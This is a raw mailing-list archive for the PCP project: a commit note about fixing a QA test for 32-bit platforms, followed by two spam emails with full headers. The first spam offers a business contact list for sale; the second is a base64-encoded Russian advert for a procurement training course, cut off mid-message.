4d0b4a25d9d0162b7771a044a3a69af8c997b3ad Author: Ken McDonell Date: Wed Oct 19 09:35:14 2016 +1100 qa/1024: make safe for 32-bit systems Modify the diskstats file in qa/linux/blkdev-root-006.tgz so that all values are less than 10^9 and then adjust 1024.out accordingly. Test should now pass on 64-bit and 32-bit platforms. From m.reid@wiproexperts.com Wed Oct 19 03:56:54 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_BASE64_TEXT autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7AA6C7CA0 for ; Wed, 19 Oct 2016 03:56:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4A01C304032 for ; Wed, 19 Oct 2016 01:56:50 -0700 (PDT) X-ASG-Debug-ID: 1476867405-0bf57b1e916984a0001-S8gJnT Received: from static-71-251-156-98.hrbgpa.fios.verizon.net (static-71-251-156-98.hrbgpa.fios.verizon.net [71.251.156.98]) by cuda.sgi.com with ESMTP id bdcAJZUC8Jq04IRL (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 19 Oct 2016 01:56:46 -0700 (PDT) X-Barracuda-Envelope-From: m.reid@wiproexperts.com X-Barracuda-Effective-Source-IP: static-71-251-156-98.hrbgpa.fios.verizon.net[71.251.156.98] X-Barracuda-Apparent-Source-IP: 71.251.156.98 Received: from WIN-FT1TQ5DTKUP (Unknown [192.168.1.1]) by static-71-251-156-98.hrbgpa.fios.verizon.net with ESMTPA ; Wed, 19 Oct 2016 04:56:47 -0400 Message-ID: <3D42B7C1-7E63-4F8F-AE35-2E5E4407D855@static-71-251-156-98.hrbgpa.fios.verizon.net> Disposition-Notification-To: m.reid@wiproexperts.com EmailContentKey: cd73b996-aaa7-4bb1-b5d8-f9117d46a602 MIME-Version: 1.0 From: m.reid@wiproexperts.com To: pcp@oss.sgi.com Date: 19 Oct 2016 04:56:46 -0400 Subject: IT Business Decision Makers List Content-Type: multipart/alternative; boundary=--boundary_5523_4c3d3873-dde4-4071-8d8b-2eaf5f03fee6 X-ASG-Orig-Subj: IT Business Decision Makers List X-Barracuda-Connect: static-71-251-156-98.hrbgpa.fios.verizon.net[71.251.156.98] X-Barracuda-Start-Time: 1476867405 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2068 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.02 X-Barracuda-Spam-Status: No, SCORE=1.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FH_HELO_EQ_D_D_D_D, HTML_MESSAGE, MIME_BASE64_TEXT, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33846 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 HTML_MESSAGE BODY: HTML included in message 0.52 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding 0.50 FH_HELO_EQ_D_D_D_D Helo is d-d-d-d ----boundary_5523_4c3d3873-dde4-4071-8d8b-2eaf5f03fee6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Hello,=0AWould you be interested in acquiring our recently update= d IT Business Decision Makers list for your business ca= mpaign?=0AOur list includes Decision Makers in the following tech= nologies: CRM, ERP, Cloud Application, Security Software Users, M= obile Device Management, Accounting Software, Operating System, V= OIP, ISV, Virtual Application, Storage Application, Networking Ap= plication, MS SharePoint, MS Dynamics, SalesForce, Banking Applic= ation, etc.=0AThe list we are providing will help you reach the r= ight audience as we will provide you with direct contact informat= ion. =0ANote: If the above technology users are not relevant= to you, please specify your target criteria and I will get = back to you with more information.=0AThanks,Morgan ReidDatabase C= onsultant=0A =0ATo opt out, please respond remove.  ----boundary_5523_4c3d3873-dde4-4071-8d8b-2eaf5f03fee6 Content-Type: text/html Content-Transfer-Encoding: base64 PHA+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsiPkhlbGxvLDwvc3Bhbj48L3A+ CjxwPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7Ij5Xb3VsZCB5b3UgYmUgaW50 ZXJlc3RlZCBpbiBhY3F1aXJpbmcgb3VyIHJlY2VudGx5IHVwZGF0ZWQmbmJzcDtJVCBC dXNpbmVzcyZuYnNwO0RlY2lzaW9uIE1ha2VycyBsaXN0IGZvciB5b3VyIGJ1c2luZXNz IGNhbXBhaWduPzwvc3Bhbj48L3A+CjxwPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDEw cHQ7Ij5PdXIgbGlzdCBpbmNsdWRlcyBEZWNpc2lvbiBNYWtlcnMgaW4gdGhlIGZvbGxv d2luZyB0ZWNobm9sb2dpZXM6IENSTSwgRVJQLCBDbG91ZCBBcHBsaWNhdGlvbiwgU2Vj dXJpdHkgU29mdHdhcmUgVXNlcnMsIE1vYmlsZSBEZXZpY2UgTWFuYWdlbWVudCwgQWNj b3VudGluZyBTb2Z0d2FyZSwgT3BlcmF0aW5nIFN5c3RlbSwgVk9JUCwgSVNWLCBWaXJ0 dWFsIEFwcGxpY2F0aW9uLCBTdG9yYWdlIEFwcGxpY2F0aW9uLCBOZXR3b3JraW5nIEFw cGxpY2F0aW9uLCBNUyBTaGFyZVBvaW50LCBNUyBEeW5hbWljcywgU2FsZXNGb3JjZSwg QmFua2luZyBBcHBsaWNhdGlvbiwgZXRjLjwvc3Bhbj48L3A+CjxwPjxzcGFuIHN0eWxl PSJmb250LXNpemU6IDEwcHQ7Ij5UaGUgbGlzdCB3ZSBhcmUgcHJvdmlkaW5nIHdpbGwg aGVscCB5b3UgcmVhY2ggdGhlIHJpZ2h0IGF1ZGllbmNlIGFzIHdlIHdpbGwgcHJvdmlk ZSB5b3Ugd2l0aCBkaXJlY3QgY29udGFjdCBpbmZvcm1hdGlvbi4mbmJzcDs8L3NwYW4+ PC9wPgo8cD48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyI+Tm90ZTogSWYgdGhl IGFib3ZlIHRlY2hub2xvZ3kgdXNlcnMgYXJlIG5vdCByZWxldmFudCB0byB5b3UsIHBs ZWFzZSBzcGVjaWZ5Jm5ic3A7eW91ciB0YXJnZXQgY3JpdGVyaWEgYW5kIEkgd2lsbCBn ZXQgYmFjayB0byB5b3Ugd2l0aCBtb3JlIGluZm9ybWF0aW9uLjwvc3Bhbj48L3A+Cjxw PjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7Ij5UaGFua3MsPC9zcGFuPjxicj48 c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyI+TW9yZ2FuIFJlaWQ8L3NwYW4+PGJy PjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7Ij5EYXRhYmFzZSBDb25zdWx0YW50 PC9zcGFuPjwvcD4KPHA+Jm5ic3A7PC9wPgo8cD48c3BhbiBzdHlsZT0iZm9udC1zaXpl OiAxMHB0OyI+VG8gb3B0IG91dCwgcGxlYXNlIHJlc3BvbmQgcmVtb3ZlLiZuYnNwOzwv c3Bhbj48L3A+ ----boundary_5523_4c3d3873-dde4-4071-8d8b-2eaf5f03fee6-- From sstogonenko@inbox.ru Wed Oct 19 23:11:31 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,HTML_OBFUSCATE_05_10,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 835257CA0 for ; Wed, 19 Oct 2016 23:11:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3754F8F8039 for ; Wed, 19 Oct 2016 21:11:28 -0700 (PDT) X-ASG-Debug-ID: 1476936682-0bf81555763a8b0001-S8gJnT Received: from mxs.mail.ru (client60-54.altkom.net [91.214.54.60]) by cuda.sgi.com with ESMTP id YbjA2Ds8Z8nzLuf9 for ; Wed, 19 Oct 2016 21:11:23 -0700 (PDT) X-Barracuda-Envelope-From: sstogonenko@inbox.ru X-Barracuda-Effective-Source-IP: client60-54.altkom.net[91.214.54.60] X-Barracuda-Apparent-Source-IP: 91.214.54.60 From: "=?utf-8?B?RWxlY3Ryb25pYyBhdWN0aW9ucw==?=" To: Subject: =?utf-8?B?0JrQsNC6INGB0YLQsNGC0Ywg0L/QvtGB0YLQsNCy0YnQuNC60L7QvCDQtNC70Y8g0L7QsdC10YHQv9C10YfQtdC90LjRjyDQs9C+0YHRg9C00LDRgNGB0YLQstC10L3QvdGL0YUg0Lgg0LzRg9C90LjRhtC40L/QsNC70YzQvdGL0YUg0L3Rg9C20LQu?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?utf-8?B?0JrQsNC6INGB0YLQsNGC0Ywg0L/QvtGB0YLQsNCy0YnQuNC60L7QvCDQtNC70Y8g0L7QsdC10YHQv9C10YfQtdC90LjRjyDQs9C+0YHRg9C00LDRgNGB0YLQstC10L3QvdGL0YUg0Lgg0LzRg9C90LjRhtC40L/QsNC70YzQvdGL0YUg0L3Rg9C20LQu?= Message-ID: <2094800D2E6AB05AF6187D8F0172C3D2@DEBOWPTTPG> X-Mailer: Yamail [ http://yandex.ru ] 5.0 Date: Thu, 20 Oct 2016 07:11:20 +0300 Content-Transfer-Encoding: base64 Content-Type: text/html; charset=utf-8 X-Barracuda-Connect: client60-54.altkom.net[91.214.54.60] X-Barracuda-Start-Time: 1476936682 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 8008 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.69 X-Barracuda-Spam-Status: No, SCORE=2.69 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, HTML_OBFUSCATE_05_10, HTML_OBFUSCATE_05_10_2, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33872 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_OBFUSCATE_05_10 BODY: Message is 5% to 10% HTML obfuscation 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.57 HTML_OBFUSCATE_05_10_2 Message is 05% to 10% HTML obfuscation PGRpdj48dGFibGUgYm9yZGVyPSIwIiBiZ2NvbG9yPSIjRjlGOEY3IiBjZWxsc3BhY2luZz0iNSIg Y2VsbHBhZGRpbmc9IjAiIHN0eWxlPSJmb250LWZhbWlseTomcXVvdDtUaW1lcyBOZXcgUm9tYW4m cXVvdDs7dGV4dC10cmFuc2Zvcm06bm9uZTsiPjx0Ym9keT48dHI+PHRkIGJnY29sb3I9IiNDRkM4 QzAiPsKgPC90ZD48dGQgYmdjb2xvcj0iI0NGQzhDMCI+wqA8L3RkPjx0ZCBiZ2NvbG9yPSIjQ0ZD OEMwIj7CoDwvdGQ+PC90cj48dHI+PHRkIGJnY29sb3I9IiNDRkM4QzAiPsKgPC90ZD48dGQgYmdj b2xvcj0iI0YxRURFQiI+PHAgYWxpZ249ImxlZnQiPjxmb250IGZhY2U9IkNhbWJyaWEiPjxzdHJv bmc+PGZvbnQgY29sb3I9IiNDQzAwNjYiPtCd0JDQo9Cn0JjQotCV0KHQrCDQk9Ce0KHQl9CQ0JrQ o9Cf0JrQkNCcINCf0J4gNDQt0KTQlyDQuCAyMjMt0KTQlyE8L2ZvbnQ+PGJyIC8+PGZvbnQgY29s b3I9IiM5OTAwMzMiPtCe0JHQo9Cn0JDQmdCi0JXQodCsINCSINCj0JTQntCR0J3QntCVINCU0JvQ ryDQktCQ0KEg0JLQoNCV0JzQryDQmCDQkiDQo9CU0J7QkdCd0J7QnCDQnNCV0KHQotCVITwvZm9u dD48L3N0cm9uZz48YnIgLz48YnIgLz7Qn9GA0L7QudC00LjRgtC1INC00LjRgdGC0LDQvdGG0LjQ vtC90L3QvtC1INC/0L7QstGL0YjQtdC90LjQtSDQutCy0LDQu9C40YTQuNC60LDRhtC40Lgg0L/Q viDQt9Cw0LrRg9C/0LrQsNC8INCyINCw0LrQutGA0LXQtNC40YLQvtCy0LDQvdC90L7QvCDQo9GH 0LXQsdC90L7QvDxzcGFuPsKgPC9zcGFuPjxiciAvPtGG0LXQvdGC0YDQtSDQv9C+INCw0LLRgtC+ 0YDRgdC60L7QuSDQv9GA0L7Qs9GA0LDQvNC80LUg0Lgg0L/QvtC70YPRh9C40YLQtSDQutCw0YfQ tdGB0YLQstC10L3QvdC+0LUg0L7QsdGD0YfQtdC90LjQtSDRgSDQstGL0LTQsNGH0LXQuSDRg9C0 0L7RgdGC0L7QstC10YDQtdC90LjRjzxzcGFuPsKgPC9zcGFuPjxiciAvPtGD0YHRgtCw0L3QvtCy 0LvQtdC90L3QvtCz0L4g0L7QsdGA0LDQt9GG0LA8YnIgLz48Zm9udCBjb2xvcj0iI0NGQzhDMCI+ X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fPC9mb250PjxiciAvPjxiciAvPjxzdHJvbmc+PGZv bnQgY29sb3I9IiNDQzAwNjYiPtCU0JjQodCi0JDQndCm0JjQntCd0J3Qq9CZINCa0KPQoNChIDE0 NCDQp9CQ0KHQkDwvZm9udD48YnIgLz48YnIgLz48Zm9udCBjb2xvcj0iIzk5MDAzMyI+0KPQp9CQ 0KHQotCY0JUg0J/QntCh0KLQkNCS0KnQmNCa0J7QkiAo0J/QntCU0KDQr9CU0KfQmNCa0J7Qkiwg 0JjQodCf0J7Qm9Cd0JjQotCV0JvQldCZKSDQkiDQoNCV0JPQm9CQ0JzQldCd0KLQmNCg0J7QktCQ 0J3QndCr0KU8c3Bhbj7CoDwvc3Bhbj48YnIgLz7Ql9CQ0JrQo9Cf0JrQkNClINCf0J4gNDQt0KTQ lyDQmCAyMjMt0KTQlzwvZm9udD48L3N0cm9uZz48YnIgLz48YnIgLz48c3Ryb25nPtCf0L7QtNGA 0L7QsdC90LDRjyDQuNC90YTQvtGA0LzQsNGG0LjRjyDQuCDRgNC10LPQuNGB0YLRgNCw0YbQuNGP INC90LAg0LfQsNC90Y/RgtC40LUg0L/QviDRgtC10LsuOjxzcGFuPsKgPC9zcGFuPjwvc3Ryb25n PjxiciAvPjxlbT44PC9lbT7CoDxzcGFuPsKgPC9zcGFuPjxmb250IHNpemU9IjIiPtC60L7QtCDQ s9C+0YDQvtC00LA8c3Bhbj7CoDwvc3Bhbj48L2ZvbnQ+wqA8ZW0+KDQ5NSk8L2VtPsKgPHNwYW4+ wqA8L3NwYW4+PGZvbnQgc2l6ZT0iMiI+0YLQtdC7PC9mb250PjxzcGFuIGxhbmc9ImVuLXVzIj48 Zm9udCBzaXplPSIyIj46PC9mb250Pjwvc3Bhbj7CoDxzcGFuPsKgPC9zcGFuPjxlbT48Zm9udCBz aXplPSI0Ij43MjUgLSAwNCAtIDQ4PC9mb250PjwvZW0+wqA8c3Bhbj7CoDwvc3Bhbj48Zm9udCBz aXplPSIyIj4o0LzQvdC+0LPQvtC60LDQvdCw0LvRjNC90YvQuSk8L2ZvbnQ+PGJyIC8+PGZvbnQg Y29sb3I9IiNDRkM4QzAiPl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXzwvZm9udD48YnIgLz7C oDwvZm9udD48L3A+PC90ZD48dGQgYmdjb2xvcj0iI0NGQzhDMCI+wqA8L3RkPjwvdHI+PHRyPjx0 ZCBiZ2NvbG9yPSIjQ0ZDOEMwIj7CoDwvdGQ+PHRkPjxwIGFsaWduPSJsZWZ0Ij48YnIgLz48Zm9u dCBmYWNlPSJDYWxpYnJpIj48Zm9udCBjb2xvcj0iI0NDMDA2NiI+PHN0cm9uZz7QmtGD0YDRgSDQ v9GA0LXQtNC90LDQt9C90LDRh9C10L0g0LTQu9GPOjwvc3Ryb25nPjwvZm9udD48c3Bhbj7CoDwv c3Bhbj7RgNGD0LrQvtCy0L7QtNC40YLQtdC70LXQuSDQutC+0LzQv9Cw0L3QuNC5LCDRgtC10L3Q tNC10YDQvdGL0YUg0L7RgtC00LXQu9C+0LIsINGO0YDQuNGB0YLQvtCyLCDRgtC10L3QtNC10YDQ vdGL0YU8c3Bhbj7CoDwvc3Bhbj48YnIgLz7RgdC/0LXRhtC40LDQu9C40YHRgtC+0LIsINGA0YPQ utC+0LLQvtC00LjRgtC10LvQtdC5INC+0YLQtNC10LvQvtCyINC/0YDQvtC00LDQtiDQv9GA0LXQ tNC/0YDQuNGP0YLQuNC5INC4INC+0YDQs9Cw0L3QuNC30LDRhtC40LkgLSDQv9C+0YHRgtCw0LLR idC40LrQvtCyPHNwYW4+wqA8L3NwYW4+PGJyIC8+KNC/0L7QtNGA0Y/QtNGH0LjQutC+0LIsINC4 0YHQv9C+0LvQvdC40YLQtdC70LXQuSksINGB0YPQsdGK0LXQutGC0L7QsiDQvNCw0LvQvtCz0L4g 0Lgg0YHRgNC10LTQvdC10LPQviDQv9GA0LXQtNC/0YDQuNC90LjQvNCw0YLQtdC70YzRgdGC0LLQ sC48YnIgLz48YnIgLz48c3Ryb25nPtCf0YDQvtC00L7Qu9C20LjRgtC10LvRjNC90L7RgdGC0Ywg 0LrRg9GA0YHQsDwvc3Ryb25nPjxzcGFuPsKgPC9zcGFuPjE0NCDRh9Cw0YHQsC48YnIgLz48YnIg Lz48c3Ryb25nPtCU0LjRgdGC0LDQvdGG0LjQvtC90L3QsNGPINGE0L7RgNC80LAg0L7QsdGD0YfQ tdC90LjRjzwvc3Ryb25nPjxzcGFuPsKgPC9zcGFuPtC/0L7Qt9Cy0L7Qu9GP0LXRgiDQu9GO0LHQ vtC80YMg0YHQu9GD0YjQsNGC0LXQu9GOPHNwYW4+wqA8L3NwYW4+PHU+PGVtPjxzdHJvbmc+0LHQ tdC3INC+0YLRgNGL0LLQsCDQvtGCINGA0LDQsdC+0YLRiywg0LHQtdC3PHNwYW4+wqA8L3NwYW4+ PGJyIC8+0YTQuNC90LDQvdGB0L7QstGL0YUg0Lgg0LLRgNC10LzQtdC90L3Ri9GFINC30LDRgtGA 0LDRgiDQvdCwINC60L7QvNCw0L3QtNC40YDQvtCy0LrQuDwvc3Ryb25nPjwvZW0+PC91PjxzcGFu PsKgPC9zcGFuPtC/0L7Qu9GD0YfQuNGC0Ywg0L/QvtC70L3Ri9C5INC+0LHRitC10Lwg0LfQvdCw 0L3QuNC5INC/0L4g0YLQtdC80LU8c3Bhbj7CoDwvc3Bhbj48YnIgLz7QvtCx0YPRh9C10L3QuNGP INC4INC00L7QutGD0LzQtdC90YIg0L4g0L/QvtCy0YvRiNC10L3QuNC4INC60LLQsNC70LjRhNC4 0LrQsNGG0LjQuC4g0JTQvtGB0YLQsNGC0L7Rh9C90L4g0L3QsNC70LjRh9C40Y8g0LrQvtC80L/R jNGO0YLQtdGA0LAg0YEg0LTQvtGB0YLRg9C/0L7QvCDQsjxzcGFuPsKgPC9zcGFuPjxiciAvPtCY 0L3RgtC10YDQvdC10YIsINCx0LXQtyDQtNC+0L/QvtC70L3QuNGC0LXQu9GM0L3Ri9GFINC/0YDQ vtCz0YDQsNC80Lwg0Lgg0L3QsNGB0YLRgNC+0LXQui48c3Bhbj7CoDwvc3Bhbj48dT48ZW0+PHN0 cm9uZz7QntCx0YPRh9C10L3QuNC1INCy0L7Qt9C80L7QttC90L4sINC90LDRhdC+0LTRj9GB0Ywg 0LIg0LvRjtCx0L7QvDxzcGFuPsKgPC9zcGFuPjxiciAvPtGA0LXQs9C40L7QvdC1INCg0L7RgdGB 0LjQuCE8L3N0cm9uZz48L2VtPjwvdT48YnIgLz48YnIgLz48c3Ryb25nPtCf0L4g0LjRgtC+0LPQ sNC8INC+0LHRg9GH0LXQvdC40Y8g0YHQu9GD0YjQsNGC0LXQu9C4INC/0L7Qu9GD0YfQsNGO0YIg 0KPQtNC+0YHRgtC+0LLQtdGA0LXQvdC40LUg0L4g0L/QvtCy0YvRiNC10L3QuNC4INC60LLQsNC7 0LjRhNC40LrQsNGG0LjQuC48L3N0cm9uZz48YnIgLz7Qo9C00L7RgdGC0L7QstC10YDQtdC90LjQ tSDQtNCw0LXRgiDRgdC/0LXRhtC40LDQu9C40YHRgtCw0Lwg0L/RgNCw0LLQviDQsdGL0YLRjCDR h9C70LXQvdC+0Lwg0LjQu9C4INC/0YDQtdC00YHQtdC00LDRgtC10LvQtdC8INC30LDQutGD0L/Q vtGH0L3Ri9GFINC60L7QvNC40YHRgdC40LksPHNwYW4+wqA8L3NwYW4+PGJyIC8+0YDQsNCx0L7R gtC90LjQutC+0Lwg0LjQu9C4INGA0YPQutC+0LLQvtC00LjRgtC10LvQtdC8INC60L7QvdGC0YDQ sNC60YLQvdC+0Lkg0YHQu9GD0LbQsdGLLCDQutC+0L3RgtGA0LDQutGC0L3Ri9C8INGD0L/RgNCw 0LLQu9GP0Y7RidC40LwuPGJyIC8+PGJyIC8+PHN0cm9uZz7QlNCw0YLRiyDQvtCx0YPRh9C10L3Q uNGPINCx0LvQuNC20LDQudGI0LXQuSDQs9GA0YPQv9C/0YsgLSDRgSAzMSDQvtC60YLRj9Cx0YDR jyDQv9C+IDE4INC90L7Rj9Cx0YDRjzwvc3Ryb25nPjxiciAvPjxiciAvPjxzdHJvbmc+0KHRgNC+ 0Log0L7QsdGD0YfQtdC90LjRjzxzcGFuPsKgPC9zcGFuPjwvc3Ryb25nPi0gMyDQvdC10LTQtdC7 0LguPHNwYW4+wqA8L3NwYW4+PGJyIC8+PGJyIC8+PHN0cm9uZz7QodGC0L7QuNC80L7RgdGC0Ywg 0L7QsdGD0YfQtdC90LjRjzwvc3Ryb25nPjxzcGFuPsKgPC9zcGFuPi08c3Bhbj7CoDwvc3Bhbj48 c3Ryb25nPjE3PHNwYW4gbGFuZz0iZW4tdXMiPjxzcGFuPsKgPC9zcGFuPjwvc3Bhbj4wMDAg0YDR g9CxLjwvc3Ryb25nPjxiciAvPjxiciAvPjxzdHJvbmc+0J/QvtC70YPRh9C10L3QuNC1INC00L7Q utGD0LzQtdC90YLQvtCyOjwvc3Ryb25nPjxzcGFuPsKgPC9zcGFuPtC70LjRh9C90L4g0LjQu9C4 INC/0L7Rh9GC0L7QstGL0Lwg0L7RgtC/0YDQsNCy0LvQtdC90LjQtdC8LjxiciAvPjxiciAvPjxz dHJvbmc+0J/RgNC10LjQvNGD0YnQtdGB0YLQstCwINC00LDQvdC90L7Qs9C+INC60YPRgNGB0LA6 PC9zdHJvbmc+PGJyIC8+0J/RgNC+0LPRgNCw0LzQvNCwINC00LjRgdGC0LDQvdGG0LjQvtC90L3Q vtCz0L4g0LrRg9GA0YHQsCDQv9C+0LLRi9GI0LXQvdC40Y8g0LrQstCw0LvQuNGE0LjQutCw0YbQ uNC4INC00LvRjyDRg9GH0LDRgdGC0L3QuNC60L7QsiDQt9Cw0LrRg9C/0L7QuiDRgdC+0YHRgtCw 0LLQu9C10L3QsDxzcGFuPsKgPC9zcGFuPjxiciAvPtGC0LDQutC40Lwg0L7QsdGA0LDQt9C+0Lws INGH0YLQvtCx0Ysg0LrQsNC20LTRi9C5INC/0L7RgdGC0LDQstGJ0LjQuiDQu9C10LPQutC+INC8 0L7QsyDQvdCw0LnRgtC4INC90LXQvtCx0YXQvtC00LjQvNGD0Y4g0LjQvNC10L3QvdC+INC10LzR gyDQuNC90YTQvtGA0LzQsNGG0LjRji48c3Bhbj7CoDwvc3Bhbj48YnIgLz7Qo9GH0LXQsdC90YvQ tSDQvNC+0LTRg9C70Lgg0YDQsNC30LTQtdC70LXQvdGLINGBINGD0YfQtdGC0L7QvCDRg9GA0L7Q stC90Y8g0LfQvdCw0L3QuNC5LCDQvtC/0YvRgtCwINC4INC/0L7RgtGA0LXQsdC90L7RgdGC0LXQ uSDQvtCx0YPRh9Cw0Y7RidC40YXRgdGPOiAxLiDQlNC70Y88c3Bhbj7CoDwvc3Bhbj48YnIgLz7Q vdCw0YfQuNC90LDRjtGJ0LjRhTsgMi4g0JHQsNC30L7QstGL0Lkg0YPRgNC+0LLQtdC90Yw7IDMu INCf0YDQvtC00LLQuNC90YPRgtGL0Lkg0YPRgNC+0LLQtdC90YwuPGJyIC8+PGJyIC8+PHN0cm9u Zz7Qn9GA0L7Qs9GA0LDQvNC80LAg0LrRg9GA0YHQsDo8L3N0cm9uZz48YnIgLz7QnNC+0LTRg9C7 0YwgMS4g0JTQu9GPINC90LDRh9C40L3QsNGO0YnQuNGFINGD0YfQsNGB0YLQvdC40LrQvtCyINC3 0LDQutGD0L/QvtC6LjxiciAvPtCc0L7QtNGD0LvRjCAyLiDQlNC70Y8g0L/QvtGB0YLQsNCy0YnQ uNC60L7Qsiwg0LjQvNC10Y7RidC40YUg0LHQsNC30L7QstGL0LUg0LfQvdCw0L3QuNGPINGA0LXQ s9C70LDQvNC10L3RgtC40YDQvtCy0LDQvdC90YvRhSDQt9Cw0LrRg9C/0LrQsNGFLi48YnIgLz7Q nNC+0LTRg9C70YwgMy4g0JTQu9GPINC/0L7RgdGC0LDQstGJ0LjQutC+0LIg0LLRi9GB0L7QutC+ 0LPQviDRg9GA0L7QstC90Y8uPGJyIC8+0JzQvtC00YPQu9GMIDMuMS4g0J7RgdC+0LHRi9C1INC/ 0YDQsNCy0LjQu9CwINC30LDQutGD0L/QvtC6INC/0L4gNDQt0KTQly48YnIgLz7QnNC+0LTRg9C7 0YwgMy4yLiDQntGB0L7QsdGL0LUg0L/RgNCw0LLQuNC70LAg0LfQsNC60YPQv9C+0Log0L/QviAy MjMt0KTQly48YnIgLz7QnNC+0LTRg9C70YwgMy4zLiDQn9GA0LDQstC40LvQsCDQvtC/0LjRgdCw 0L3QuNGPINC+0LHRitC10LrRgtCwINC30LDQutGD0L/QutC4ICjQv9C+0LTQs9C+0YLQvtCy0LrQ uCDRgtC10YXQvdC40YfQtdGB0LrQvtCz0L4g0LfQsNC00LDQvdC40Y8pPHNwYW4+wqA8L3NwYW4+ PGJyIC8+0JzQvtC00YPQu9GMIDMuNC4g0JfQsNC/0YDQvtGB0Ysg0L4g0YDQsNC30YrRj9GB0L3Q tdC90LjQuCDQtNC+0LrRg9C80LXQvdGC0LDRhtC40Lgg0L4g0LfQsNC60YPQv9C60LU6INGG0LXQ u9C4INC4INC/0YDQsNCy0LjQu9CwINC/0L7QtNCw0YfQuDxiciAvPtCc0L7QtNGD0LvRjCAzLjUu INCf0YDQuNC30L3QsNC90LjQtSDQv9GA0L7RhtC10LTRg9GAINC30LDQutGD0L/QvtC6INC90LXR gdC+0YHRgtC+0Y/QstGI0LjQvNC40YHRjzog0L/QvtGB0LvQtdC00YHRgtCy0LjRjyDQtNC70Y8g 0LfQsNC60LDQt9GH0LjQutCwINC4PHNwYW4+wqA8L3NwYW4+PGJyIC8+0YPRh9Cw0YHRgtC90LjQ utCwPHNwYW4+wqA8L3NwYW4+PGJyIC8+0JzQvtC00YPQu9GMIDMuNi4g0J7RgtC80LXQvdCwINC/ 0YDQvtGG0LXQtNGD0YAg0LfQsNC60YPQv9C+0Lo6INC/0L4gNDQt0KTQlyDQuCAyMjMt0KTQlzxi ciAvPtCc0L7QtNGD0LvRjCAzLjcuINCd0L7RgNC80LDRgtC40LLQvdGL0LUg0LDQutGC0YssINC6 0L7RgtC+0YDRi9C1INC90LXQvtCx0YXQvtC00LjQvNC+INC30L3QsNGC0Ywg0YPRh9Cw0YHRgtC9 0LjQutGDINC30LDQutGD0L/QvtC6PGJyIC8+0JzQvtC00YPQu9GMIDMuOC4g0KDQtdCz0LjQvtC9 0LDQu9GM0L3QvtC1INGA0LXQs9GD0LvQuNGA0L7QstCw0L3QuNC1INC30LDQutGD0L/QvtC6PGJy IC8+0JzQvtC00YPQu9GMIDMuOS4g0KDQsNC30YrRj9GB0L3QtdC90LjRjyDQnNC40L3RjdC60L7Q vdC+0LzRgNCw0LfQstC40YLQuNGPLCDQpNCQ0KEsINCc0LjQvdGE0LjQvdCwINC/0L4g0YHQu9C+ 0LbQvdGL0Lwg0LLQvtC/0YDQvtGB0LDQvCDRg9GH0LDRgdGC0LjRjyDQsjxzcGFuPsKgPC9zcGFu 